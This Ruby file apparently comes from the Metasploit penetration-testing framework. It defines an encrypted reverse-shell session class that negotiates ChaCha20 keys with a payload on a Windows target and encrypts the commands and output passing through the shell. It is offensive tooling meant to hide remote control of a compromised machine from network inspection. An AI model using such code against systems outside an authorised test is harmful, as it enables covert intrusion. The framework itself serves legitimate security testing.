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# -*- coding: binary -*-
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require 'securerandom'
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module Msf
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module Sessions
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class EncryptedShell < Msf::Sessions::CommandShell
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  include Msf::Session::Basic
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  include Msf::Session::Provider::SingleCommandShell
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  include Msf::Payload::Windows::PayloadDBConf
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  attr_accessor :arch
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  attr_accessor :platform
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  attr_accessor :iv
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  attr_accessor :key
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  attr_accessor :staged
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  attr_accessor :chacha_cipher
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  # define some sort of method that checks for
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  # the existence of payload in the db before
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  # using datastore
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  def initialize(rstream, opts={})
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    self.arch ||= ""
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    self.platform = "windows"
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    @staged = opts[:datastore][:staged]
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    super
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  end
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  def type
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    "Encrypted"
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  end
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  def desc
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    "Encrypted reverse shell"
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  end
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  def self.type
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    self.class.type = "Encrypted"
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  end
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  def bootstrap(datastore = {}, handler = nil)
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    @key = datastore[:key] || datastore['ChachaKey']
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    nonce = datastore[:nonce] || datastore['ChachaNonce']
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    @iv = nonce
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    # staged payloads retrieve UUID via
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    # handle_connection() in stager.rb
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    unless @staged
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      curr_uuid = rstream.get_once(16, 1)
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      @key, @nonce = retrieve_chacha_creds(curr_uuid)
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      @iv = @nonce ? @nonce : "\0" * 12
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      unless @key && @nonce
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        print_status('Failed to retrieve key/nonce for uuid. Resorting to datastore')
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        @key = datastore['ChachaKey']
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        @iv = datastore['ChachaNonce']
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      end
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    end
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    new_nonce = SecureRandom.hex(6)
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    new_key = SecureRandom.hex(16)
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    @chacha_cipher = Rex::Crypto::Chacha20.new(@key, @iv)
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    new_cipher = @chacha_cipher.chacha20_crypt(new_nonce + new_key)
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    rstream.write(new_cipher)
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    @key = new_key
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    @iv = new_nonce
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    @chacha_cipher.reset_cipher(@key, @iv)
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    super(datastore, handler)
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  end
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  ##
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  # Overridden from Msf::Sessions::CommandShell#shell_read
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  #
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  # Read encrypted data from console and decrypt it
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  #
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  def shell_read(length=-1, timeout=1)
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    rv = rstream.get_once(length, timeout)
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    # Needed to avoid crashing the +chacha20_crypt+ method
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    return nil unless rv
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    decrypted = @chacha_cipher.chacha20_crypt(rv)
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    framework.events.on_session_output(self, decrypted) if decrypted
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    return decrypted
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  rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
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    shell_close
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    raise e
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  end
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  ##
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  # Overridden from Msf::Sessions::CommandShell#shell_write
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  #
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  # Encrypt data then write it to the console
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  #
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  def shell_write(buf)
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    return unless buf
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    framework.events.on_session_command(self, buf.strip)
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    encrypted = @chacha_cipher.chacha20_crypt(buf)
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    rstream.write(encrypted)
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  rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
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    shell_close
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    raise e
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  end
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end
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end
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end
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